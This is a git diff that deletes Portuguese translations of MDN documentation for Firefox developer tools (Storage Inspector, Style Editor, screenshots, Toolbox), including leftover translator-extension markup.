- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/tools/storage_inspector/index.html b/files/pt-pt/tools/storage_inspector/index.html
deleted file mode 100644
index bd2abc33e6..0000000000
--- a/files/pt-pt/tools/storage_inspector/index.html
+++ /dev/null
@@ -1,193 +0,0 @@
----
-title: Inspetor de Armazenamento
-slug: Tools/Storage_Inspector
-tags:
- - Armazenamento
- - Armazenamento Local
- - Armazenamento da Sessão
- - BD Indexada
- - Cookies
- - Ferramentas
- - Ferramentas do Programador
- - Firefox
- - Guia(2)
-translation_of: Tools/Storage_Inspector
-original_slug: Tools/Inspetor_de_armazenamento
----
-<div>{{ToolsSidebar}}</div><div class="geckoVersionNote">
-<p>The Storage Inspector is disabled by default. Enable it in the <a href="/en-US/docs/Tools_Toolbox#Settings">Developer Tools Settings</a>.</p>
-</div>
-
-<p>The Storage Inspector enables you to inspect various types of storage that a web page can use. Currently it can be used to inspect the following storage types:</p>
-
-<ul>
- <li><em>Cache Storage</em> - any DOM caches created using the <a href="/en-US/docs/Web/API/Cache">Cache API</a>.</li>
- <li><em>Cookies</em> - All the <a href="/en-US/docs/Web/API/Document/cookie">cookies</a> created by the page or any iframes inside of the page. Cookies created as a part of response of network calls are also listed, but only for calls that happened while the tool is open.</li>
- <li><em>Local Storage</em> - All <a href="/en-US/docs/Web/API/Window/localStorage">local storage</a> items created by the page or any iframes inside the page.</li>
- <li><em>Session Storage</em> - All <a href="/en-US/docs/Web/API/Window/sessionStorage">session storage</a> items created by the page or any iframes inside the page.</li>
- <li><em>IndexedDB</em> - All <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> databases created by the page or any iframes inside the page, their Object Stores and the items stored in these Object Stores.</li>
-</ul>
-
-<p>For the time being, the Storage Inspector only gives you a read-only view of storage. But we're working to let you edit storage contents in future releases.</p>
-
-<h2 id="Abrir_o_Inspetor_de_Armazenamento">Abrir o Inspetor de Armazenamento</h2>
-
-<p>Once enabled, you can open the Storage Inspector by selecting "Storage Inspector" from the Web Developer submenu in the Firefox Menu Panel (or Tools menu if you display the menu bar or are on Mac OS X), or by pressing its Shift + F9 keyboard shortcut.</p>
-
-<p>The <a href="https://developer.mozilla.org/en-US/docs/Tools/DevTools_Window" title="/en-US/docs/Tools/DevTools_Window">Toolbox</a> will appear at the bottom of the browser window, with the Storage Inspector activated. It's just called "Storage" in the Developer Toolbox.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14247/1-storage-inspector-open.png" style="display: block; height: 846px; margin-left: auto; margin-right: auto; width: 1311px;"></p>
-
-<h2 id="Interface_do_Utilizador_do_Inspetor_de_Armazenamento">Interface do Utilizador do Inspetor de Armazenamento</h2>
-
-<p>The Storage Inspector UI is split into three main components:</p>
-
-<ul>
- <li><a href="#storage-tree">Árvore de armazenamento</a></li>
- <li><a href="#table-widget">Table Widget</a></li>
- <li><a href="#sidebar">Barra lateral</a></li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14249/2-storage-inspector-annotated.png" style="display: block; height: 858px; margin-left: auto; margin-right: auto; width: 1323px;"></p>
-
-<h3 id="Árvore_de_armazenamento"><a name="storage-tree">Árvore de armazenamento</a></h3>
-
-<p>The storage tree lists all the storage types that the Storage Inspector can inspect:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14251/3-storage-types.png" style="display: block; height: 166px; margin-left: auto; margin-right: auto; width: 386px;"></p>
-
-<p>Under each type, objects are organized by origin. For cookies, the protocol does not differentiate the origin. For Indexed DB or local storage an origin is a combination of protocol + hostname. For example, "http://mozilla.org" and "https://mozilla.org" are two different origins so local storage items cannot be shared between them.</p>
-
-<p>Under "Cache Storage", objects are organized by origin and then by the name of the cache:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14253/4-cachestorage.png" style="display: block; height: 210px; margin-left: auto; margin-right: auto; width: 350px;"></p>
-
-<p>IndexedDB objects are organized by origin, then by database name, then by object store name:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14255/5-indexeddb.png" style="display: block; height: 360px; margin-left: auto; margin-right: auto; width: 350px;"></p>
-
-<p>With the Cookies, Local Storage, and Session Storage types, there's only one level in the hierarchy, so stored items are listed directly under each origin:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14257/6-cookies.png" style="display: block; height: 598px; margin-left: auto; margin-right: auto; width: 350px;"></p>
-
-<p>You can click on each item in the tree to expand or collapse its children. The tree is live, so if a new origin gets added (by adding an iframe, for example), it will be added to each storage type automatically.</p>
-
-<p>Clicking on a tree item will display detailed information about that item in the Table Widget on the right. For example, clicking on an origin which is a child of the Cookies storage type will show all the cookies belonging to that domain.</p>
-
-<h3 id="Table_Widget"><a name="table-widget">Table Widget</a></h3>
-
-<p>The table widget is the place where all the items corresponding to the selected tree item (be it an origin, or database) are listed. Depending on the storage type and tree item, the number of columns in the table might differ.</p>
-
-<p>All the columns in a Table Widget are resizable. You can hide and show columns by context-clicking on the table header and selecting the columns you want to see:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14259/7-col-selection.png" style="display: block; height: 594px; margin-left: auto; margin-right: auto; width: 900px;"></p>
-
-<h3 id="Procura">Procura</h3>
-
-<p>There's a search box at the top of the Table Widget:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14261/8-search.png" style="display: block; height: 646px; margin-left: auto; margin-right: auto; width: 912px;"></p>
-
-<p>This filters the table to show only items which match the search term. Items match the search term if any of their fields (including fields whose columns you have hidden) contain the search term.</p>
-
-<p>From Firefox 50 onwards, you can use Ctrl+F (Cmd+F on a Mac) to focus the search box.</p>
-
-<h3 id="Barra_lateral"><a name="sidebar">Barra lateral</a></h3>
-
-<p>When you select any row in the Storage table widget, the sidebar is shown with details about that row. If a cookie is selected, it will list all the details about that cookie.</p>
-
-<p>The sidebar can parse the value of the cookie or local storage item or an IndexedDB item and convert it into a meaningful object instead of just a string. For example:</p>
-
-<ul>
- <li>A stringified JSON like <code>'{"foo": "bar"}'</code> is shown as the origin JSON: <code>{foo: "bar"}</code>.</li>
- <li>A string containing a key separated value, like <code>"1~2~3~4"</code> or <code>"1=2=3=4"</code> is shown like an array: <code>[1, 2, 3, 4]</code>.</li>
- <li>A string containing key-value pairs, like <code>"ID=1234:foo=bar"</code> is shown as JSON: <code>{ID:1234, foo: "bar"}</code>.</li>
-</ul>
-
-<p>The shown values can also be filtered using the search box at the top of the sidebar.</p>
-
-<h2 id="Cache_de_Armazenamento">Cache de Armazenamento</h2>
-
-<p>Under the Cache Storage type you can see the contents of any DOM caches created using the <a href="/en-US/docs/Web/API/Cache">Cache API</a>. If you select a cache, you'll see a list of the resources it contains. For each resource, you'll see:</p>
-
-<ul>
- <li>the URL for the resource</li>
- <li>the status code for the request that was made to fetch it.</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14263/9-cachedstorage-details.png" style="display: block; height: 213px; margin-left: auto; margin-right: auto; width: 900px;"></p>
-
-<h2 id="Cookies">Cookies</h2>
-
-<p>When you select an origin inside the Cookies storage type from the storage tree, all the cookies present for that origin will be listed in the table widget. The table then has the following columns:</p>
-
-<ul>
- <li><em>Name</em> - The name of the cookie</li>
- <li><em>Path</em> - The path property of the cookie</li>
- <li><em>Domain</em> - The domain of the cookie</li>
- <li><em>Expires on</em> - The time when the cookie will expire. If the cookie is a session cookie, the value of this column will be "Session"</li>
- <li><em>Last accessed on</em> - When the cookie was last read</li>
- <li><em>Value</em> - The value of the cookie</li>
- <li><em>HostOnly</em> - Is this cookie a domain cookie: that is, the domain value starts with a "."</li>
- <li><em>Secure</em> - Is this cookie a secure cookie</li>
- <li><em>HttpOnly</em> - Is this cookie HTTP only.</li>
-</ul>
-
-<div class="note">
-<p><strong>Note:</strong> Before Firefox 51 the columns <em>HostOnly</em>, <em>Secure</em> and <em>HttpOnly</em> were called <em>isDomain</em>, <em>isSecure</em> and <em>isHttpOnly</em>.</p>
-</div>
-
-<p>You can edit cookies by double-clicking inside cells in the <a href="/en-US/docs/Tools/Storage_Inspector#Table_Widget">Table Widget</a> and editing the values they contain.</p>
-
-<p>You can also delete cookies using the context menu:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14273/delete-cookies.png" style="display: block; height: 208px; margin-left: auto; margin-right: auto; width: 900px;"></p>
-
-<h2 id="Armazenamento_local_Armazenamento_da_sessão">Armazenamento local / Armazenamento da sessão</h2>
-
-<p>When an origin corresponding to local storage or session storage is selected, the table will list the name and value of all the items corresponding to local storage or session storage.</p>
-
-<p>You can edit local and session storage items by double-clicking inside cells in the <a href="/en-US/docs/Tools/Storage_Inspector#Table_Widget">Table Widget</a> and editing the values they contain:</p>
-
-<p>{{EmbedYouTube("oeQzhpoMByw")}}</p>
-
-<p>You can also delete local storage and session storage entries using the context menu:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14275/14-delete-localstorage.png" style="display: block; height: 444px; margin-left: auto; margin-right: auto; width: 900px;"></p>
-
-<h2 id="BD_Indexada">BD Indexada</h2>
-
-<p>When you select an origin inside the Indexed DB storage type in the storage tree, the table lists the details of all the databases present for that origin. Databases have the following details:</p>
-
-<ul>
- <li><em>Database Name</em> - The name of the database</li>
- <li><em>Storage</em> - The <a href="/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria#Different_types_of_data_storage">storage type</a> specified for the database (new in Firefox 53)</li>
- <li><em>Origin</em> - Its origin</li>
- <li><em>Version</em> - The database version</li>
- <li><em>Object Stores</em> - Number of object stores in the database</li>
-</ul>
-
-<p>When an IndexedDB database is selected in the storage tree, details about all the object stores are listed in the table. Any object store has the following details:</p>
-
-<ul>
- <li><em>Object Store Name</em> - The name of the object store</li>
- <li><em>Key</em> - The keyPath property of the object store.</li>
- <li><em>Auto Increment</em> - Whether auto increment is enabled</li>
- <li><em>Indexes</em> - Array of indexes present in the object store as shown below</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14265/10-indexeddb-details.png" style="display: block; height: 205px; margin-left: auto; margin-right: auto; width: 900px;"></p>
-
-<p>When an object store is selected in the storage tree, all the items in that object store are listed in the table. All items have a key and a value associated with them.</p>
-
-<p>From Firefox 49 onwards, you can delete an IndexedDB database using the context menu in the Storage tree view:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14277/15-delete-database.png" style="display: block; height: 194px; margin-left: auto; margin-right: auto; width: 900px;"></p>
-
-<p>If the database cannot be deleted (most commonly because there are still active connections to the database), a warning message will be displayed in the Storage Inspector:<img alt="" src="https://mdn.mozillademos.org/files/14267/11-indexeddb-delete-warning.png" style="display: block; height: 255px; margin: 0px auto; width: 900px;"></p>
-
-<p>From Firefox 50 onwards, you can use the context menu in the table widget to delete all items in an object store, or a particular item:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14279/16-delete-database-entries.png" style="display: block; height: 195px; margin-left: auto; margin-right: auto; width: 900px;"></p>
-
-<p> </p>
diff --git a/files/pt-pt/tools/style_editor/index.html b/files/pt-pt/tools/style_editor/index.html
deleted file mode 100644
index 1e1c15b7a3..0000000000
--- a/files/pt-pt/tools/style_editor/index.html
+++ /dev/null
@@ -1,112 +0,0 @@
----
-title: Editor de Estilo
-slug: Tools/Style_Editor
-tags:
- - CSS
- - Desenvolvimento da Web
- - 'Desenvolvimento da Web: Ferramentas'
- - Ferramentas
- - Folhas de estilo
-translation_of: Tools/Style_Editor
-original_slug: Tools/Editor_de_estilo
----
-<div>{{ToolsSidebar}}</div><p>O Editor de Estilo permite-lhe:</p>
-
-<ul>
- <li>view and edit all the stylesheets associated with a page</li>
- <li>create new stylesheets from scratch and apply them to the page</li>
- <li>import existing stylesheets and apply them to the page</li>
-</ul>
-
-<p>{{EmbedYouTube("7839qc55r7o")}}</p>
-
-<p>To open the Style Editor choose the "Style Editor" option from the "Web Developer" menu (which is a submenu in the "Tools" menu on the Mac). The <a href="https://developer.mozilla.org/en-US/docs/Tools/DevTools_Window" title="/en-US/docs/Tools/DevTools_Window">Toolbox</a> will appear at the bottom of the browser window, with the Style Editor activated:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6941/style-editor.png" style="display: block; height: 238px; margin-left: auto; margin-right: auto; width: 816px;"></p>
-
-<p>O Editor de Estilo está dividido em três secções principais:</p>
-
-<ul>
- <li><a href="/en-US/docs/Tools/Style_Editor#The_style_sheet_pane">the style sheet pane on the left</a></li>
- <li><a href="/en-US/docs/Tools/Style_Editor#The_editor_pane">the editor on the right</a></li>
- <li><a href="/en-US/docs/Tools/Style_Editor#The_media_sidebar">the media sidebar.</a></li>
-</ul>
-
-<h2 id="O_painel_de_folha_de_estilo">O painel de folha de estilo</h2>
-
-<p>The style sheet pane, on the left, lists all the style sheets being used by the current document. You can quickly toggle the use of a given sheet on and off by clicking the eyeball icon to the left of the sheet's name. You can save any changes you've made to the style sheet to your local computer by clicking the Save button in the bottom-right corner of each sheet's entry in the list.</p>
-
-<p>From Firefox 40 onwards, the style sheet pane also includes a context menu that lets you open the selected style sheet in a new tab.</p>
-
-<h2 id="O_painel_do_editor">O painel do editor</h2>
-
-<p>On the right is the editor pane. This is where the source for the selected style sheet is available for you to read and edit. Any changes you make are immediately applied to the page. This makes it easy to experiment with, revise, and test changes. Once you're satisfied with your changes, you can save a copy locally by clicking the Save button on the sheet's entry in the style sheet pane.</p>
-
-<p>The editor provides line numbers and syntax highlighting to help make it easier to read your CSS. It also supports a number of <a href="/en-US/docs/Tools/Style_Editor#Source_editor_shortcuts">keyboard shortcuts</a>.</p>
-
-<p>The Style Editor automatically de-minimizes style sheets that it detects, without affecting the original. This makes it much easier to work on pages that have been optimized.</p>
-
-<p>The Style Editor supports autocomplete. Just start typing, and it will offer you a list of suggestions.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6943/style-editor-autocomplete.png" style="display: block; margin-left: auto; margin-right: auto;">You can switch autocomplete off in the <a href="/en-US/docs/Tools_Toolbox#Style_Editor">Style Editor settings</a>.</p>
-
-<h2 id="A_barra_lateral_de_multimédia">A barra lateral de multimédia</h2>
-
-<p>The Style Editor displays a sidebar on the right-hand side whenever the current sheet contains any <a href="/en-US/docs/Web/Guide/CSS/Media_queries"><code>@media</code> rules</a>. The sidebar lists the rules and provides a link to the line of the sheet where the rule is defined. Click an item to jump to that rule in the sheet. The condition text of the rule is greyed-out if the media query doesn’t currently apply.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8365/style-editor-media-sidebar-detail.png" style="display: block; margin-left: auto; margin-right: auto;">The media sidebar works especially well with <a href="/en-US/docs/Tools/Responsive_Design_View">Responsive Design View</a> for creating and debugging responsive layouts:</p>
-
-<p>{{EmbedYouTube("aVUXmvLSwoM")}}</p>
-
-<p>From Firefox 46 onwards, if an <code>@media</code> rule contains a screen size in a condition, then it is made clickable: clicking it then resizes the screen to that size using the Responsive Design View:</p>
-
-<p>{{EmbedYouTube("XeocxoW2NYY")}}</p>
-
-<h2 id="Criação_e_importação_das_folhas_de_estilo">Criação e importação das folhas de estilo</h2>
-
-<p>You can create a new style sheet by clicking the New button in the toolbar. Then you can just start entering CSS into the new editor and watch as the new styles are applied in real time just like changes to the other sheets.</p>
-
-<p>You can load a style sheet from disk and apply it to the page by clicking the Import button.</p>
-
-<h2 id="Source_map_support">Source map support</h2>
-
-<p>{{EmbedYouTube("zu2eZbYtEUQ")}}</p>
-
-<p>Web developers often create CSS files using a preprocessor like <a href="http://sass-lang.com/">Sass</a>, <a href="http://lesscss.org/">Less</a>, or <a href="http://learnboost.github.io/stylus/">Stylus</a>. These tools generate CSS files from a richer and more expressive syntax. If you do this, being able to see and edit the generated CSS is not so useful, because the code you maintain is the preprocessor syntax, not the generated CSS. So you'd need to edit the generated CSS, then manually work out how to reapply that to the original source.</p>
-
-<p>Source maps enable the tools to map back from the generated CSS to the original syntax, so they can display, and allow you to edit, files in the original syntax. From Firefox 29 onwards, the Style Editor can understand CSS source maps.</p>
-
-<p>This means that if you use, for example, Sass, then the Style Editor will show you, and allow you to edit, Sass files, rather than the CSS that is generated from them:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6939/style-editor-sourcemap-820.png" style="display: block; margin-left: auto; margin-right: auto;">For this to work, you must:</p>
-
-<ul>
- <li>use a CSS preprocessor that understands the <a href="https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k/edit">Source Map Revision 3 proposal</a>. Currently this means <a href="http://sass-lang.com/">Sass</a> 3.3.0 or above or the <a href="http://roots.io/using-less-source-maps/">1.5.0 version of Less</a>. Other preprocessors are actively working on adding support, or considering it.</li>
- <li>actually instruct the preprocessor to generate a source map, for example by passing the <code>--sourcemap</code> argument to the Sass command-line tool</li>
-</ul>
-
-<h3 id="Visualização_das_fontes_originais">Visualização das fontes originais</h3>
-
-<p>Now, if you check "Show original sources" in the <a href="/en-US/docs/Tools_Toolbox#Style_Editor">Style Editor settings</a>, the links next to CSS rules in the <a href="/en-US/docs/Tools/Page_Inspector#Rules_view">Rules view</a> will link to the original sources in the Style Editor.</p>
-
-<p>From Firefox 35 onwards original sources are displayed by default.</p>
-
-<h3 id="Edição_das_fontes_originais">Edição das fontes originais</h3>
-
-<p>You can also edit the original sources in the Style Editor and see the results applied to the page immediately. To get this to work there are two extra steps.</p>
-
-<p>First, set up your preprocessor so it watches the original source and automatically regenerates the CSS when the source changes. With Sass you can do this simply by passing the <code>--watch</code> option:</p>
-
-<pre>sass index.scss:index.css --sourcemap --watch</pre>
-
-<p>Next, save the original source in the Style Editor by clicking the "Save" button next to the file, and saving it over the original file.</p>
-
-<p>Now when you make changes to the source file in the Style Editor the CSS is regenerated and you can see the changes right away.</p>
-
-<h2 id="Atalhos_de_teclado">Atalhos de teclado</h2>
-
-<h3 id="Source_editor_shortcuts">Source editor shortcuts</h3>
-
-<p>{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "source-editor") }}</p>
-
-<p>{{ languages( { "ja": "ja/Tools/Style_Editor"} ) }}</p>
diff --git a/files/pt-pt/tools/taking_screenshots/index.html b/files/pt-pt/tools/taking_screenshots/index.html
deleted file mode 100644
index 52eff5ef0f..0000000000
--- a/files/pt-pt/tools/taking_screenshots/index.html
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: Capturas de ecrã
-slug: Tools/Taking_screenshots
-tags:
- - Ferramentas
-translation_of: Tools/Taking_screenshots
-original_slug: Tools/Capturas_de_ecra
----
-<div>{{ToolsSidebar}}</div><p>You can use the Developer Tools to take a screenshot of the entire page, or of a single element in the page.</p>
-
-<h2 id="Efetuar_capturas_de_ecrã_de_uma_página">Efetuar capturas de ecrã de uma página</h2>
-
-<p>Use the screenshot icon: <img alt="" src="https://mdn.mozillademos.org/files/14713/camera-icon.png" style="height: 16px; margin-bottom: -4px; width: 18px;"> to take a full-page screenshot of the current page.</p>
-
-<p>By default, the screenshot icon is not enabled. To enable it:</p>
-
-<ul>
- <li>visit the <a href="/en-US/docs/Tools/Settings">Settings</a> page</li>
- <li>find the section labeled "Available Toolbox Buttons"</li>
- <li>check the box labeled "Take a screenshot of the entire page".</li>
-</ul>
-
-<p>You'll now see the icon in the toolbar:</p>
-
-<p>{{EmbedYouTube("KB5V9uJgcS4")}}</p>
-
-<p>Click the icon to take a screenshot of the current page. The screenshot is saved to your browser's "Downloads" directory:</p>
-
-<p>{{EmbedYouTube("HKS6MofdXVE")}}</p>
-
-<h2 id="Efetuar_uma_captura_de_ecrã_de_um_elemento">Efetuar uma captura de ecrã de um elemento</h2>
-
-<p>To take a screenshot of a single element in the page, activate the context menu on that element in the <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">Inspector's HTML pane</a>, and select "Screenshot Node". The screenshot is saved to the browser's "Downloads" directory:</p>
-
-<p>{{EmbedYouTube("p2pjF_BrE1o")}}</p>
-
-<h2 id="Copiar_capturas_de_ecrã_para_a_área_de_transferência">Copiar capturas de ecrã para a área de transferência</h2>
-
-<p>From Firefox 53, you can also copy the screenshot to the clipboard. Just check the box in Settings labeled "Screenshot to clipboard":</p>
-
-<p>{{EmbedYouTube("AZedFGh6F78")}}</p>
-
-<p>Now, whenever you take a screenshot, the screenshot is also copied to the clipboard.</p>
diff --git a/files/pt-pt/tools/tools_toolbox/index.html b/files/pt-pt/tools/tools_toolbox/index.html
deleted file mode 100644
index f1fd212ad2..0000000000
--- a/files/pt-pt/tools/tools_toolbox/index.html
+++ /dev/null
@@ -1,181 +0,0 @@
----
-title: Caixa de Ferramentas
-slug: Tools/Tools_Toolbox
-translation_of: Tools/Tools_Toolbox
----
-<div>{{ToolsSidebar}}</div><p>A 'Caixa de Ferramentas' fornece um único local para a maioria das ferramentas de desenvolvimento que são criadas para o Firefox.</p>
-
-<p>There are a few different ways to open the Toolbox:</p>
-
-<ul>
- <li>select "Toggle Tools" from the Web Developer menu (under "Tools" on OS X and Linux, or "Firefox" on Windows)</li>
- <li>click the wrench icon (<img alt="" src="https://mdn.mozillademos.org/files/12710/wrench-icon.png" style="height: 21px; width: 21px;">), which is in the main toolbar or under the Hamburger menu (<img alt="" src="https://mdn.mozillademos.org/files/12712/hamburger.png" style="height: 20px; width: 22px;">), then select "Toggle Tools"</li>
- <li>activate any tool hosted in the Toolbox (for example, the JavaScript Debugger or the Page Inspector)</li>
- <li>press <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> on Windows and Linux, or <kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>I</kbd> on OS X. See also <a href="/en-US/docs/Tools/Keyboard_shortcuts">keyboard shortcuts</a>.</li>
-</ul>
-
-<p>Por predefinição, a Caixa de Ferramentas aparece anexada na base da janela do navegador, mas também pode desanexá-la se desejar. É assim que esta aparece quando está anexada:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6923/toolbox.png" style="display: block; margin-left: auto; margin-right: auto;">A janela é dividida em duas partes: uma barra de ferramentas no topo, e um painel principal por debaixo:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6925/toolbox-annotated-29.png" style="display: block; height: 471px; margin-left: auto; margin-right: auto; width: 876px;"></p>
-
-<h2 id="Modo_de_anexação">Modo de anexação</h2>
-
-<p>Por predefinição, a Caixa de Ferramentas aparece anexada na base da janela do navegador, mas também pode anexá-la no lado direito da janela, ou utilizá-la numa janela independente, utilizando os <a href="/pt-PT/docs/Tools/Tools_Toolbox#Controlos_da_caixa_de_ferramentas">botões na barra de ferramentas</a>.</p>
-
-<h2 id="Barra_de_Ferramentas">Barra de Ferramentas</h2>
-
-<p>The toolbar contains controls to activate a particular tool, to dock/float the window, and to close the window.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7913/toolbox-toolbar-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
-
-<h3 id="Selecionador_de_Nodo">Selecionador de Nodo</h3>
-
-<p>On the far left there's a button to activate the node picker. This lets you select a page element for inspection. See <a href="/en-US/docs/Tools/Page_Inspector/How_to/Select_an_element">"Selecting elements"</a>.</p>
-
-<h3 id="Ferramentas_hospedadas_na_Caixa_de_Ferramentas">Ferramentas hospedadas na Caixa de Ferramentas</h3>
-
-<p>Then there is an array of labeled buttons which enables you to switch between the different tools hosted by the Toolbox. The array may include the following tools:</p>
-
-<ul>
- <li><a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Web Console</a></li>
- <li><a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">JavaScript Debugger</a></li>
- <li><a href="/en-US/docs/Tools/Page_Inspector" title="/en-US/docs/Tools/Page_Inspector">Page Inspector</a></li>
- <li><a href="/en-US/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Style_Editor">Style Editor</a></li>
- <li><a href="/en-US/docs/Tools/Profiler" title="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">Profiler</a></li>
- <li><a href="/en-US/docs/Tools/Network_Monitor" title="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">Network Monitor</a></li>
-</ul>
-
-<p>Note that not all the hosted tools are always listed here: only the tools actually available in this context are shown (for example, not all tools support remote debugging yet, so if the debugging target is not the Firefox instance that launched the window, not all the hosted tools will be shown).</p>
-
-<h3 id="Ferramentas_extra">Ferramentas extra</h3>
-
-<p>Next there's an array of buttons that can be added or removed in the <a href="#Settings">developer tool settings</a>. By default this array includes:</p>
-
-<ul>
- <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Select_an_element">Pick an element from the page</a></li>
- <li><a href="/en-US/docs/Tools/Web_Console#The_split_console">Toggle split console</a></li>
- <li><a href="/en-US/docs/Tools/Responsive_Design_View">Responsive Design Mode</a></li>
- <li><a href="/en-US/docs/tools/Working_with_iframes">Select a frame as the currently targeted document</a> (this is only included by default from Firefox 41 onwards).</li>
-</ul>
-
-<p>The following tools are not included in the toolbar by default, but you can add them in the <a href="#Settings">settings</a>:</p>
-
-<ul>
- <li><a href="/en-US/docs/Tools/Paint_Flashing_Tool">Highlight painted area</a></li>
- <li><a href="/en-US/docs/Tools/3D_View">3D view</a> (note that this is not available in Firefox 40)</li>
- <li><a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a></li>
- <li><a href="/en-US/docs/Tools/Eyedropper">Grab a color from the page</a></li>
- <li>Take a screenshot of the entire page: take a screenshot of the complete web page and saves it in your Downloads directory</li>
- <li><a href="/en-US/docs/Tools/Rulers">Toggle rulers for the page</a></li>
- <li>Measure a portion of the page: measure a part of the website by selecting areas within the page</li>
-</ul>
-
-<h3 id="Controlos_da_caixa_de_ferramentas">Controlos da caixa de ferramentas</h3>
-
-<p>Finally there's a row of buttons to:</p>
-
-<ul>
- <li>close the window</li>
- <li>toggle the window between attached to the bottom of the browser window, and attached to the side of the browser window</li>
- <li>toggle the window between standalone and attached to the browser window</li>
- <li>access <a href="#Settings" title="#Settings">developer tool settings</a></li>
-</ul>
-
-<h2 id="Configurações"><a name="Settings">Configurações</a></h2>
-
-<p><a href="/en-US/docs/Tools/Settings">See the separate page on the Developer Tools Settings</a>.</p>
-
-<h2 id="Painel_Principal">Painel Principal</h2>
-
-<p>The content of the main pane in the window is entirely controlled by, and specific to, the hosted tool currently selected.</p>
-
-<h2 id="Atalhos_de_teclado">Atalhos de teclado</h2>
-
-<p>{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "toolbox-shortcuts") }}</p>
-
-<p>{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}</p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: none; opacity: 1;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option 